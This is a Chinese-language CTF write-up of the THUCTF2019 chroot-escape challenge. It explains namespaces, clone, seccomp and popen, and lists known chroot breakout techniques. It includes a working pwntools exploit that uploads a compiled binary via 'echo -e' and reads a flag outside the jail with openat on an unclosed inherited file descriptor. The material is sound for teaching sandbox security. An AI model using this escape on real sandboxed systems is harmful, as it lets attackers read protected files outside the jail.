清华校赛THUCTF2019 之 固若金汤

题目地址:nc grjt.game.redbud.info 20003

题目提示:The ironmise king: You fools forgot to cccccccccclose the gate !!!!!

这道题目的解法虽然很简单,但是第一次遇到chroot的沙盒逃逸的题目,网上的资料也并没有很多,而且其中涉及了非常多的技术与知识,包括linux的namespace机制,chroot,seccomp,clone,fork这几个系统调用以及对应的libc封装的函数,父子进程关系,进程与线程间的关系,文件描述符等等,所以非常值得研究一下。可以先阅读冠成大佬的文章:linux中的沙箱技术,了解一下linux沙箱技术的基本知识。

分析源码

这题目附件给的是源码,如下:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>


int main(int argc, char **argv)
{
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";

    char buf[0x11111] ,ch;
    FILE *pp;
    int i;
    int pid, fd;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    struct rlimit r;

    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);

    memset(key, 0, sizeof(key));
    printf("input your key:\n");
    read(0, key, 20);
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for(int i = 0; i < 16; i++) 
        sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);

    printf("dir : %s\n", dir_name);
    printf("So, what's your command, sir?\n");

    for (i=0;i<0x11100;i++)
    {
        read(0, &ch, 1);
        if (ch=='\n' || ch==EOF)
        {
            break;
        }
        buf[i] = ch;
    }

    pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
    if (pid) {
        if (open(sandbox_dir, O_RDONLY) == -1)
        {
            perror("fail to open sandbox dir");
            exit(1);
        }

        if (open(dir_name, O_RDONLY) != -1)
        {
        	printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
        }
        else
        {
           	printf("Creating your dir\n");
            mkdir(dir_name, 0755);
            printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
            mkdir("bin", 0777);
            mkdir("lib", 0777);
            mkdir("lib64", 0777);
            mkdir("lib/x86_64-linux-gnu", 0777);
            system("cp /bin/bash bin/sh");
            system("cp /bin/chmod bin/");
            system("cp /usr/bin/tee bin/");
            system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
        }

        char uidmap[] = "0 1000 1", filename[30];
        char pid_string[7];
        sprintf(pid_string, "%d", pid);

        sprintf(filename, "/proc/%s/uid_map", pid_string);
        fd = open(filename, O_WRONLY|O_CREAT);
        if (write(fd, uidmap, sizeof(uidmap)) == -1)
        {
            printf("write to uid_map Error!\n");
            printf("errno=%d\n",errno);
        }
        exit(0);
    }
    sleep(1);

    // entering sandbox
    if (chdir(dir_name)==-1)
    {
        puts("chdir err, exiting\n");
        exit(1);
    }

    if (chroot(".") == -1)
    {
        puts("chroot err, exiting\n");
        exit(1);
    }

    // set seccomp
    scmp_filter_ctx sec_ctx;
    sec_ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);
    seccomp_load(sec_ctx);

    pp = popen(buf, "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;
}

编译

先安装所需要的依赖的库,然后编译时执行需要连接的库。那怎么知道程序依赖什么库?编译看报错信息,然后按提示缺少的头文件查google。链接时该链接那些库呢?按照提示未定义的函数查google。不知道是否有手册查询这些信息,反正一顿尝试,直到编译成功。

sudo apt install libseccomp-dev libseccomp2 seccomp openssl libssl-dev 
gcc impregnable.c -lcrypto -lseccomp -o impregnable

大概的功能就是输入一个id,然后用md5生成对对应的沙箱路径,然后在这个沙箱里可以执行一条命令,而根目录已经被chroot改到了用户目录下,而flag在真正的根目录下,所以需要利用那个命令执行绕过这个chroot。代码有点长我们一点点分析:

初始化

    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";

    char buf[0x11111] ,ch;
    FILE *pp;
    int i;
    int pid, fd;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    struct rlimit r;

    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);

    memset(key, 0, sizeof(key));
    printf("input your key:\n");
    read(0, key, 20);
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for(int i = 0; i < 16; i++) 
        sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);

    printf("dir : %s\n", dir_name);
    printf("So, what's your command, sir?\n");

这里就是定义和初始化变量,然后利用md5算法对输入最长20个字符的key进行hash计算,然后拼到目录后面。这里setrlimit的作用是根据参数RLIMIT_CORE,限制内核转储文件大小为0。

参考:Linux系统调用–getrlimit()与setrlimit()函数详解

命令输入

    for (i=0;i<0x11100;i++)
    {
        read(0, &ch, 1);
        if (ch=='\n' || ch==EOF)
        {
            break;
        }
        buf[i] = ch;
    }

这里是输入的命令的读取,可见读到换行符或者EOF停止,缓冲区大小为0x11111,但是可以写的大小是0x11100,而且每次是只读取一个字符,所以不会有缓冲区溢出,最终命令会被存储在buf这个缓冲区里。

clone系统调用

 pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);

这句会通过clone的系统调用启动一个子进程,关于这个系统调用可以好好说一说,首先在在linux中查询man手册,可以发现libc包装的clone函数和clone系统调用的原型不同:

clone() creates a new process, in a manner similar to fork(2).

NAME
       clone, __clone2 - create a child process

SYNOPSIS
       /* Prototype for the glibc wrapper function */

       #include <sched.h>

       int clone(int (*fn)(void *), void *child_stack,
                 int flags, void *arg, ...
                 /* pid_t *ptid, struct user_desc *tls, pid_t *ctid */ );

       /* Prototype for the raw system call */

       long clone(unsigned long flags, void *child_stack,
                 void *ptid, void *ctid,
                 struct pt_regs *regs);

clone这个系统调用可以创建一个子进程,功能类似fork,那肯定还是有区别的,区别是啥呢?

简言之就是fork出来的子进程比较简单和原进程基本一致,而clone的可控制参数更多,可以更细粒度的控制子进程的资源。对于clone这个系统调用我认为有以下两方面要清楚:

  • clone这个系统调用是linux多线程库pthread的实现原理
  • clone这个系统调用是与linux的namespace相关的api

所以这里还要介绍linux的namespace机制:

Linux Namespaces机制提供一种资源隔离方案,更细致的划分相应的资源给进程。PID,IPC,Network等系统资源不再是全局性的,而是属于某个特定的Namespace。每个namespace下的资源对于其他namespace下的资源都是透明,不可见的。每个进程都可以设置自己对应的namespace,因此在操作系统层面上看,就会出现多个相同pid的进程。系统中可以同时存在两个进程号为0,1,2的进程,由于属于不同的namespace,所以它们之间并不冲突。而在用户层面上只能看到属于用户自己namespace下的资源,例如使用ps命令只能列出自己namespace下的进程。这样每个namespace看上去就像一个单独的Linux系统。

clone的glibc的包装原型中存在一个函数指针,可以控制创建的子进程去执行这个函数,而clone的系统调用中可没有函数指针,这是怎么回事呢?猜测是glibc中clone函数对返回的pid做了一些判断,如果是父进程则返回子进程的pid,不是0,则继续去执行clone之后的代码。如果是子进程,则返回的结果是0,去执行传入的函数指针。去翻了libc的源码,果然如此:

/glibc-2.23/sysdeps/unix/sysv/linux/i386/clone.S

	int	$0x80
	popl	%edi
	popl	%esi
	popl	%ebx

	test	%eax,%eax
	jl	SYSCALL_ERROR_LABEL
	jz	L(thread_start)

	ret

本题这里我们是通过syscall调用的,不会传入一个函数指针作为参数,这里设置的flag有:

  • CLONE_NEWNS
  • CLONE_NEWPID
  • CLONE_NEWUSER
  • CLONE_FILES
  • CLONE_NEWUTS
  • CLONE_NEWNET

这些flag可以在man手册中查找clone系统调用即可找到相关意义,这里发现有一个flag有一点点特殊,没有new,就是CLONE_FILES,看一下它的说明:

CLONE_FILES (since Linux 2.0)
    If CLONE_FILES is set, the calling process and the child process share the same file descriptor table.  Any file  descriptor  created  by  the
    calling  process  or by the child process is also valid in the other process.  Similarly, if one of the processes closes a file descriptor, or
    changes its associated flags (using the fcntl(2) F_SETFD operation), the other process is also affected.  If a process sharing a file descrip‐
    tor table calls execve(2), its file descriptor table is duplicated (unshared).

    If  CLONE_FILES  is  not  set, the child process inherits a copy of all file descriptors opened in the calling process at the time of clone().
    (The duplicated file descriptors in the child refer to the same open file descriptions (see open(2)) as the corresponding file descriptors  in
    the  calling  process.)   Subsequent  operations that open or close file descriptors, or change file descriptor flags, performed by either the
    calling process or the child process do not affect the other process.

也就是说如果这个flag设置了,则子进程不仅仅继承父进程的文件描述符,同时父进程执行完clone系统调用后,再打开的文件描述符,子进程一样能访问的到。这也是本题的关键。

父进程

    if (pid) {
        // 判断是否能打开沙盒目录
        if (open(sandbox_dir, O_RDONLY) == -1)
        {
            perror("fail to open sandbox dir");
            exit(1);
        }
        // 判断是否已经创建目录
        if (open(dir_name, O_RDONLY) != -1)
        {   
            // 如果已经创建目录,则直接退出
        	printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
        }
        else
        {   
            // 如果还没创建目录,则创建目录,设置权限,并复制libc,bash,chmod,tee到当然目录下
           	printf("Creating your dir\n");
            mkdir(dir_name, 0755);
            printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
            mkdir("bin", 0777);
            mkdir("lib", 0777);
            mkdir("lib64", 0777);
            mkdir("lib/x86_64-linux-gnu", 0777);
            system("cp /bin/bash bin/sh");
            system("cp /bin/chmod bin/");
            system("cp /usr/bin/tee bin/");
            system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
        }

        // clone执行完之后,子进程的uid_map还是空的
        // 更改子进程uid_map,把子进程的0用户(root),对应到外面的1000用户(普通用户)
        // 这样既可使子进程即使提升到uid为0,也没有外部的root权限

        char uidmap[] = "0 1000 1", filename[30];
        char pid_string[7];
        sprintf(pid_string, "%d", pid);

        sprintf(filename, "/proc/%s/uid_map", pid_string);
        fd = open(filename, O_WRONLY|O_CREAT);
        if (write(fd, uidmap, sizeof(uidmap)) == -1)
        {
            printf("write to uid_map Error!\n");
            printf("errno=%d\n",errno);
        }
        exit(0);
    }

这里父进程先打开了两个目录,也就是使用了两个文件描述符,然后初始化了沙盒目录,最后更改了uid_map,这个也是linux的namespace机制的东西,可以参考:

这里的用途就是做好子进程用户的限制

子进程

    // entering sandbox
    if (chdir(dir_name)==-1)
    {
        puts("chdir err, exiting\n");
        exit(1);
    }

    if (chroot(".") == -1)
    {
        puts("chroot err, exiting\n");
        exit(1);
    }

    // set seccomp
    scmp_filter_ctx sec_ctx;
    sec_ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);
    seccomp_load(sec_ctx);

    pp = popen(buf, "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;

进入用户目录,然后设置根目录为当前目录,然后用seccomp这个系统调用限制一堆系统调用,而且限制secomp本身。关于seccomp,这个系统调用就是限制其他的系统调用,如果使用了被限制的系统调用,程序将被终止。linux大约有400个syscall,但是一个程序只会需要很少一部分,所以限制一些不必要的系统调用是会更安全的。同时seccomp也用做构建sandbox。查看seccomp的man手册可以看到如下解释:

The seccomp() system call operates on the Secure Computing (seccomp) state of the calling process.

就是seccomp是进程层面的一些限制,限制的就是执行了seccomp这个系统调用的进程。seccomp有3种模式:

  • 0:SECCOMP_MODE_DISABLED
  • 1:SECCOMP_MODE_STRICT,严格模式,只能使用read write exit sigreturn四个系统调用
  • 2:SECCOMP_MODE_FILTER,过滤模式,可以配置允许或不允许使用那些系统调用

可以通过如下方法查看当前进程的seccomp状态:

  cat /proc/self/status | grep Seccomp
Seccomp:	0

然后利用popen函数去执行命令,popen原理如下:

The  popen()  function  opens  a process by creating a pipe, forking, and invoking the shell.  Since a pipe is by definition unidirectional, the typeargument may specify only reading or writing, not both; the resulting stream is correspondingly read-only or write-only.

The command argument is a pointer to a null-terminated string containing a shell command line.  This command is passed to /bin/sh using the -c  flag; interpretation, if any, is performed by the shell.

可以找到popen的源码:

_IO_execl ("/bin/sh", "sh", "-c", command, (char *) 0);

可见popen会先fork一个进程,然后执行`/bin/sh -c “command”

进程关系

之前的代码中有这样两个语句:

pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
pp = popen(buf, "w");

这两个语句都会启动一个新的进程,一次运行这个程序,中间应该出现了三个进程,是不是这样呢?这三个进程间的关系是什么呢?我们精简抽象一下代码进程测试:

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>

int main(int argc, char **argv)
{
    FILE * pp;
    int pid;
    pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
    if (pid) {
        open("/tmp", O_RDONLY);
        printf("This is calling process,I see my pid is %d .",getpid());
        printf("I see my child process pid is %d \n",pid);
        sleep(100);
        exit(0);
    }
    sleep(1);
    printf("This is child process, I see my pid is %d\n",getpid());
    pp = popen("echo 'This is thrid process, I see my pid is '$$;sleep 100", "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;
}

利用sleep,防止各个进程退出,便于观察进程状态,编译运行,结果如下:

  ./test 
This is calling process,I see my pid is 35612 .I see my child process pid is 35613 
This is child process, I see my pid is 1
This is thrid process, I see my pid is 2

可以用过pstree查看进程关系,可见这其实出现了四个进程,也就是说popen函数正常执行一个可执行程序会有两个进程,sh本身一个,启动的程序一个。而且发现的确,通过clone系统调用并设置额newpid的namespace创建的进程,观察自己的pid的值是很小的,是重新开始计算的,而父进程则能看到子进程的正常pid。

➜  ~ pstree -p 35612
test(35612)───test(35613)───sh(35614)───sleep(35615)

这里我们看一下这几个进程的文件描述符,发现四个进程都有相同的文件描述符

➜  ~ ls -l /proc/35612/fd
total 0
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> /dev/pts/18
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18
lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp
➜  ~ ls -l /proc/35613/fd
total 0
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> /dev/pts/18
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18
lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp
➜  ~ ls -l /proc/35614/fd
total 0
lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> pipe:[224816]
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18
lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp
➜  ~ ls -l /proc/35615/fd
total 0
lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 0 -> pipe:[224816]
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 1 -> /dev/pts/18
lrwx------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 2 -> /dev/pts/18
lr-x------ 1 xuanxuan xuanxuan 64 Oct 25 14:51 3 -> /tmp

所以题目中的几个进程也满足如上关系,不过注意在修改题目代码的时候一样要注意不要让子进程或者父进程退出。概念上,父进程退出子进程还没退出时,子进程会变成孤儿进程。实际上父进程一旦退出,终端就立刻变成可以输入的状态,子进程的打印数据就可能会打印到终端输入的地方,看起来很奇怪,这里其实涉及到tty的概念,下次再说。然后在概念上,父进程还没退出,子进程退出,子进程会变成僵尸进程,实际上就无法看到子进程的一些信息了,比如fd等等,并且会在ps命令的结果里用方括号括起来。所以在研究进程线程间关系时要控制好进程与线程的存活,或者使用gdb进程调试。

思路与漏洞点

chroot jailbreak

分析完源码就大概就知道,这是一个沙盒逃逸的题目,由于根目录被chroot改掉,需要读到处于真正根目录下的flag,这个过程称之为chroot jailbreak,或者chroot breakout,可以自行google搜索相关内容,但是我第一次搜索的是chroot bypass,结果并不多,所以知道一个东西的正确表达是很重要的。

先了解一下chroot:chroot 命令小记

找到一些chroot jailbreak思路如下:

学长整理的Chroot Breakout

  1. 内核模块/攻击内核
  2. 不具备root权限:通过ptrace到一个chroot以外的进程
  3. 具备root权限:核心是CWD在ROOT以外,即可摆脱chroot
classic攻击:
mkdir(d); chroot(d); cd ../../../; chroot(.)

通过fd: mkdir(d); n=open(.); chroot(d); chdir("/"); fchdir(n); cd ../../../../; chroot(.)

mkdir(d); chroot(d); chdir("/"); mkdir(dd); chroot(dd); cd ../../../../../../; chroot(.)

UDS(Unix Domain Socket)可以在父子进程建立socket,并且可以传输fd。于是父进程打开一个fd,子进程mkdir d; chroot d;接收父进程发来的fd,fchdir(fd); cd ../../../../../../../; chroot(.)造成breakout。

如果有足够权限,挂载/proc文件系统。
mount("proc", slashdir, 0x100, "proc", NULL, NULL, optbuf, 0x400),不需要proc绝对路径
cd /proc/1/root,chroot(.)

未关闭的文件描述符

关键在于:

if (open(sandbox_dir, O_RDONLY) == -1)
if (open(dir_name, O_RDONLY) != -1)
fd = open(filename, O_WRONLY|O_CREAT)

这几处打开的文件描述符没有关闭,而子进程是和父进程共享文件描述符的,根据open的man手册可以看到文件描述符的一些详解:

Given  a  pathname  for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system calls (read(2), write(2),lseek(2), fcntl(2), etc.).  The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process.

open会返回一个非常小的,非负的整数作为文件描述符,会返回最小的现在还没被打开的文件描述符。0,1,2这三个文件描述符是默认被打开的标准输入,标准输出,标准错误。所以以上三条open语句,会打开3,4,5文件描述符,而这几个文件描述符在子进程中一样能访问到,这几个文件描述符又分别指向:

  • /home/ctf/sandbox/
  • /home/ctf/sandbox/xxx/
  • /proc/xxx/uid_map

这几个文件描述符所指向的文件当前的ROOT以外,所以可以直接去利用这些打开未关闭的文件描述符进行chroot jailbreak。

利用

哪来的echo?

我进入这题就很懵,最后会通过popen执行一条命令,简言之就是bash上执行一个命令,通过以上的分析我应该是想办法操作父进程未关闭的那个文件描述符,但是我咋在bash上获得文件描述符并利用呢?我咋在bash上使用系统调用?后来问了室友,说可以用echo命令写二进制可执行程序,然后运行,但是不是只给我三个东西么:bash,tee,chmod,没有echo啊。试了一下echo还真行,我所理解命令行工具不都是一个二进制文件么,没有echo这个程序,那他是咋运行的?直到我发现:

➜  which echo
echo: shell built-in command

原来echo是一个shell内建命令,参考:Bash-Builtins。而且之前不太明白powershell和cmd区别,网友说了一堆我也没看明白,PowerShell 与 cmd 有什么不同?,现在有些明白了,就是shell或者cmd东西不仅仅是一个可以运行可执行程序的一个壳,而且自己实现了一些功能的,比如shell的内建命令和shell脚本的运行。在《程序员的自我修养》中是有一节是写一个简易的shell,那才是一个纯纯的壳。

另外虽然没有给ls,但还是能通过一些shell的技巧来列目录,比如:

  echo *
bin lib lib64

写入二进制文件

可以利用echo -e 写入二进制数据:

➜  echo -e "\x61\x62\x63\x64" > out
➜  cat out
abcd

所以写了从gcc编译到上传的完整流程脚本,注意在写完c代码文件后一定要close掉,否则在gcc编译的时候这个c代码文件是空的,因为还没有保存。

import os
from pwn import *

io = remote("grjt.game.redbud.info",20003)

code = '''
#include <stdio.h>
int main(){
	printf("[+] from server\\n");
    return 0;
}
'''

a = open('hello.c','w')
a.write(code)
a.close()
os.system("gcc hello.c -o hello")
b = open("./hello").read().encode("hex")

c = ""
for i in range(0,len(b),2):
	c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print "[+] length: " + hex(len(payload))

io.recv()
io.sendline("xuan")
io.recv()
io.sendline(payload)
io.recv()
io.interactive()
➜  python exp.py 
[+] Opening connection to grjt.game.redbud.info on port 20003: Done
[+] length: 0x8683
[*] Switching to interactive mode
Creating your dir
Entering your dir
[+] from server
[*] Got EOF while reading in interactive

执行可见[+] from server成功被打印回来了,说明二进制文件成功被执行

openat函数

刚才已经知道,并且通过调试确认子进程是可以用3,4,5三个文件描述符的,而且这几个文件描述符分别指向如下:

  • /home/ctf/sandbox/
  • /home/ctf/sandbox/xxx/
  • /proc/xxx/uid_map

那如何利用呢?在室友的提示下,知道了一个openat函数,看名字也是知道大概是在某个可以指定的目录下打开吧,在man手册中查看这个函数:

int openat(int dirfd, const char *pathname, int flags);

看函数原型就知道了,第一个参数是一个目录的文件描述符,所以非常简单的想到构造如下payload,即可绕过chroot的限制获得flag:

openat(3,"../../../../../flag",0)

完整exp

import os
from pwn import *

io = remote("grjt.game.redbud.info",20003)

code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){
	char buf[100]={};
	int fd1 = openat(3,"../../../../../flag",0);
	read(fd1,buf,100);
	write(1,buf,100);
	printf("[+] from server\\n");
}
'''

a = open('hello.c','w')
a.write(code)
a.close()
os.system("gcc hello.c -o hello")
b = open("./hello").read().encode("hex")

c = ""
for i in range(0,len(b),2):
	c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print "[+] length: " + hex(len(payload))

io.recv()
io.sendline("xuan")
io.recv()
io.sendline(payload)
io.recv()
io.interactive()
➜  python exp.py        
[+] Opening connection to grjt.game.redbud.info on port 20003: Done
[+] length: 0x89e3
[*] Switching to interactive mode
Entering your dir
THUCTF{You_mu5t_Be_4_M4ster_1n_7he_5hel1}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
[+] from server
[*] Got EOF while reading in interactive

成功打印flag:THUCTF{You_mu5t_Be_4_M4ster_1n_7he_5hel1}

反思

这道题的提示是没有关门,想到了可能是未关闭的文件描述符,于是我当时写下了这样的代码:

#include <unistd.h>

int main(){
    char buf[100]={};
    extern fd;
    read(fd,buf,100);
    write(1,buf,100);
    return 0;
}

我是希望我写的fd和父进程的fd可以对上

fd = open(filename, O_WRONLY|O_CREAT)

不过编译肯定是不过的,而且看起来这是极其愚蠢的。其实问题出在我并不理解,父子进程的关联不是各自的代码部分,而是操作系统分给的这两个进程资源。这里是文件描述符,父子进程都可以通过0-5这6个整数来访问相同的文件描述符。所以要想明白这种题目,一定是需要理解:进程除了代码还有什么?我们用了一堆函数,一堆系统调用,那背后的库函数,操作系统到底干了什么?